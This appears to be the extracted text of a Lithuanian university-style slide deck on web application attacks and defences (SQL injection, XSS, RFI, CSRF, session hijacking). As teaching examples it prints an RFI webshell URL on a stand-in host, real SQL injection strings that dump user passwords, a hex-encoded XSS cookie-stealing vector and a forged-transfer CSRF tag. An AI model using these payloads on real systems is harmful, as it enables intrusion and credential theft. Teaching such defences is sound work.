You are on page 1of 48

Saityno sistem

atakos
KOKIOS ATAKOS VYKDOMOS SAITYNE
IR KAIP SU JOMIS KOVOTI

Saitynas pagrindin terp atakoms


Kodl reikia saugotis?

1. Reputacija;
2. Nuostoliai klientui;
3. Serverio naudojimas kenkjikiems tikslams;

4. Galimas serverio atjungimas;


5. Galimas serverio patekimas juoduosius sraus;
6. Atakos padarini alinimas imlus laikui darbas.

Kirminai internete

Atakos schema?

Kirminai internete

Ko reikia saityno silauliui


Interneto,

Interneto narykls,
Keleto ranki paeidiamumo analizei ir atak vykdymui,
Patirties ir gebjim bei trupuio laiko ;)

Tipin iniatinklio sistemos konfigracija

Saityno atak kategorijos


URL interpretavimo;

vedimo validacijos;
SQL injekcij;
Apsimetinjimo atakos;

Buferio perpildymo atakos.

Ukardos negali apsaugoti nuo

Web serverio
konfigracijos
(netikusios)

Ukardos negali apsaugoti nuo

URL
interpretavimo
atakos

Nepakankamo
vartotojo
vedimo
tikrinimo

Ukardos negali apsaugoti nuo

URL
interpretavimo
atakos

vedimo
validacija

Iplsti
SQL
sakiniai

Ukardos negali apsaugoti nuo


Slapuk
atvirktin
ininerija

URL
interpretavimo
atakos

vedimo
validacija

SQL
injekcijos

Saityno lauimas pavojingas, nes...


Saityno prievadai (portai) yra galinti daugelyje sistem

Uklausos paveikia visus (ar beveik visus) iniatinklio sistemos


komponentus
Daugeliui atak kategorij ivengti btinas programavimas orientuotas
galimas atakas.

URL skverbtis
http

:// www..... / katalogas

/ pateikti.php

? pg=1

& produktas=5

Saityno silauimo poveikiai


Galimi vairi tip poveikiai:
Ekstra informacijos atskleidimas (keliai, serverio struktra ir pan.);
Ieities tekst ar kitos informacijos atskleidimas;
Ekstra duomen atskleidimas (pvz. SQL, javascript injekcij dka) ir/arba
pakeitimas;
Prijimo teisi eskalacija (pakeitimas, padidinimas);
Neleistin komand vykdymas (pvz. XSS).

Poveikiai pagal pavojingumo lyg


Kritinis, pvz 0-day atakos (iki atakos momento neinomos),
kuri pasekoje perimamas tinklalapio ar serverio paskyros
valdymas;
Auktas, kai atskleidiami ieities tekst ar tinklalapio
konfigracijos ar paties tinklalapio duomenys (SQL injekcijos, fail
prijungimo atakos (RFI) ir kt.);
Vidutinis, kai silauliams pavyksta keisti tinklalapio turin (pvz.
XSS atakos);
emas, daniausiai prijimas prie ne kritini, taiau tam
naudotojui neprieinam duomen (tik skaitymui).

Poveiki skirstymas pagal atakos sudtingumo lyg


Kritinis, kai vykdyti labai lengva, o atakai vykdyti nereikia papildom ini.
Auktas, kai vykdyti nra paprasta, taiau galima pasinaudoti internete
esaniomis iniomis.
Vidutinis, kai vykdyti atak sunku, gali prireikti jautrios (sunkiai prieinamos,
slaptos) informacijos apie tinklalap.
emas, kai gyvendinti atak ypa sunku, tam reikia ir sunkiai prieinamos
informacijos ir atitinkam (palankiai susiklosiusi) aplinkybi.

silaulio rankiai
Programins rangos aptikimo (fingerprinting) skaneris;

Prievad skaneris;
Saityno paeidiamum skaneris;
Priemons URL, slapuk, header informacijos stebjimui ir
padirbinjimui;
OpenSSL, kt...

Programins rangos aptikimo


(fingerprinting) skaneris
Wappalyzer skiepis Firefox naryklei:

Prievad, saityno paeidiamum


skaneriai
Iekoti: web (application) vulnerability scanner;

Keletas:
http://www.acunetix.com/vulnerability-scanner/
http://www.tenable.com/products/nessus/nessus-vulnerability-scanner
https://pentest-tools.com

Paeidiamum ataskaitos pavyzdys

Statins analizs rankiai


Lint, FxCop, CodeSecure

CodeSecure pavyzdys

Atrasti paeidiamumai
Paeidiamum filtras:

Pagrindini iniatinklio sistem atak bdai


URL interpretavimo atakos;
Katalog narymas;
Fail atskleidimas;
Java, Flash ir kt. skiepi objekt program dekompiliavimas;
Ieities tekst atskleidimas;
vedimo validacija;
SQL injekcijos;
Sesij permimas;
Buferio perpildymo atakos;

URL interpretavimo atakos


Serveriui nepavyksta teisingai dekoduoti ar iparsinti URL uklausos.

Kartais naudojama neleistin komand vykdymui.


Nuolat atnaujinti server.
Atlikti serverio konfigracijos audit.

Katalog narymas
Atskleisti serverio katalog struktr ir jos failus.

Galima, kai nra numatyto failo (pvz. index.html)


Galima, kai nra sutvarkyta serverio konfigracija (pvz. .htaccess)
Sutvarkyti server taip, kad katalog narymas bt udraustas, o tam,
kad bt galimas, vartotojas turt specialiai galinti atatinkamiems
katalogams.

Fail atskleidimas
Danai paprasta atskleisti bendro naudojimo failus (nepriklausanius
iniatinklio sistemai):

Archyvus (juose gali bti ir sistemos kopijos);


Kopij failus (.bak);
Prijungiamuosius failus (pvz. .inc)
Tekstinius failus (pvz. .txt)

Galima atskleisti naudojant failo prijungimo (file inclusion) atakas;

Galima atskleisti spliojant bei atsivelgiant numatytas konfigracijas.

Fail atskleidimas
Panaikinti tokius failus arba ikelti juos i iniatinklio serviso
pasiekiamumo rib;
Atjungti ne iniatinklio fail aptarnavim;
Taikyti griet serverio naudojimo politik.

Java, Flash ir kt. skiepi objekt


program dekompiliavimas
vairi skiepi program tarpinis kodas (baitkodas) nesunkiai
dekompiliuojamas;
Juose gali bti saugumui svarbi informacija, pvz., keliai, kvieiami
objektai, slaptaodiai ir kt.
Gali bti atskleista programos logika, taikomos saugumo schemos.
Java .jar failai gali turti ne tik vykdomuosius, bet ir konfigracijos failus.

Flash programos pavyzdys

Flash programos pavyzdys

Java, Flash ir kt. skiepi objekt


program dekompiliavimas
Vis nereikaling fail alinimas i skiepi program ar j archyv;

Auditas, pervelgiant ar nra palikta saugai kritins konfigracijos


informacijos;
Kodo obfuskavimas.

Kodo obfuskavimas (pavyzdys)

Ieities tekst atskleidimas


Galimyb gauti neapdorotus ieities tekstus;

Kodas gali bti naudojamas kit paeidiamum paiekoms;


Galimas dl vairi prieasi:
Severio programins rangos klaida,
Programos krj neapdairumas,
Konfigracijos klaidos.

Ieities tekst atskleidimas


Serverio programins rangos nuolatinis atnaujinimas;

Serverio konfigracijos auditas;


Skatinamas saugum orientuotas programavimas.

RFI ataka
Remote file inclusion
<?php
$color = 'blue'; if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
...
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit"> </form>

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
/vulnerable.php?COLOR=C:\\notes.txt%00
/vulnerable.php?COLOR=/etc/passwd%00

vedimo validacija
Daugumos atak altinis;

Visi vartotojo duomenys turi bti validuojami:

duomen tipai;
duomen apibreimo sritys;
buferio dydiai;
metasimboliai;

Nesudtingas vedimo lauk padirbinjimas;


Nesudtingas kliento puss validacijos (paprastai javascript) atjungimas.

vedimo validacija
Tinkama serverio konfigracija;

Faktikai nieko kito kaip tik kokybikas saugum orientuotas


programavimas.

SQL injekcijos
Galima, kai URL parametrai naudojami SQL uklausose;

Viena i vedimo validacijos atakt krypi;


Galimas db procedr ikvietimas;
Galimas visos duomen bazs atskleidimas.

SQL injekcijos
Tinkama serverio konfigracija;

Statin programinio kodo perira;


Duomen bazs privilegij sistemos naudojimas;
Nereikaling objekt, procedr, lenteli eliminavimas.

Reals SQL injekcij pavyzdiai


[option] => com_ezautos [task] => helpers [firstCode] => <b>1 and 0 union select
1,2,concat(0x26,0x24,0x24,0x25,username,0x21,password,0x25,0x24,0x24,0x26),4,5,6,7 from
jos_users limit 10--</b> [view] => article
[extid] => <b>0' union select
32344,32345,32346,32347,32348,32349,32350,32351,32352,32353,32354,32355,32356,32357,
32358,32359,32360,32361,32362,32363,32364,32365,32366,32367,32368 from #__users where
gid in (24,25) order by 'b</b>
[tid] => <b>1 AND 1=2 UNION SELECT 1,concat(username,0x3a,password),3 from jos_users-</b>
[cid] => <b>-1 UNION SELECT 1,group_concat(COLUMN_NAME) FROM
information_schema.columns--</b>
[search] => <b>%' and 1=2) union select 1, concat(username, char( 0x3a ),
PASSWORD),concat(username, char( 0x3a ), PASSWORD),'Super
Administrator','hacker@russia.org','2009-11-26 22:09:28','2009-11-26
22:09:28',62,1,1,0,0,0,1,15 from jos_users -- ;</b>
[user] => <b>427 and 1=2 union select
concat(DATABASE(),version(),database(),version(),(SELECT COUNT(1) from
information_schema.tables),0x27,0x7c,0x5f,0x7c),2,3,4,5,6,7,8,9,10 /*</b>

Sesij permimas
HTTP protokolas nesaugo bsenos (stateless);

Daugumai iniatinklio program reikia saugoti bsen;


Netinkami bsenos sekimo mechanizmai:
Paslpti laukai, kartais ir url perduoda sesijos id;
Klientiniai slapukai nesekant j serveryje.

Atvirktin slapuk ininerija leidia atskleisti kit vartotoj bsenas.


Bsenos slapukt informacijos permimas naudojant XSS atakas.

XSS atakos vektoriaus pavyzdys


><script>document.location='http://www.cgisecurity.com/cgibin/cookie.cgi?' +document.cookie</script>
HEX
%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74
%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74
%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65
%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e

Sesij permimas
Sesij mechanizmo realizavimas ir stebjimas serverio pusje;

Sesij susiejimas su laiko tampais, IP adresais;


Kriptografini metod naudojimas sesij ID generavimui;
Kai manoma naudoti serveri sesij mechanizmus.

Buferio perpildymo atakos


Nerealizuotas rib tikrinimas;

Uklausos inaudojanios serveri spragas;


Gali iaukti:
Paslaugos nutraukim (DOS);
Neleistinos komandos vykdym.

Nuolat atnaujinti serverio programin rang.


Statin programinio kodo perira.
buferio perpildym orientuotas testavimas.

CSRF (Cross Site Request Forgery)


Inaudoja aukos teises atak vykdymui
<img src="http://ebankas.lt/pervesti?nuo=bobas&kiekis=1000000&kam=alisa">

Ataka galima, kai:

Netikrinamas altinis (referrer);


Randama tinkama uklausos forma atakos vykdymui;
formose nra sesij informacijos (id ir pan.);
silauliui reikia suorganizuoti atak taip, kad auka atakos metu bt
prisijungusi prie atakuojamos sistemos.

CSRF
Prevencija:
Autentifikacija ne tik per slapukus, bet ir naudojant GET, POST;
Tikrinti uklausos altin;
riboti slapuk gyvavimo laik.

Pabaigai
iniatinklio sistem apsauga tampa vis sudtingesn;

saugum orientuot programavimo praktik naudojimas (defensive


programming);
Statins analizs ir paeidim tikrinimo ranki naudojimas.

Isamus program testavimas.

Skms

You might also like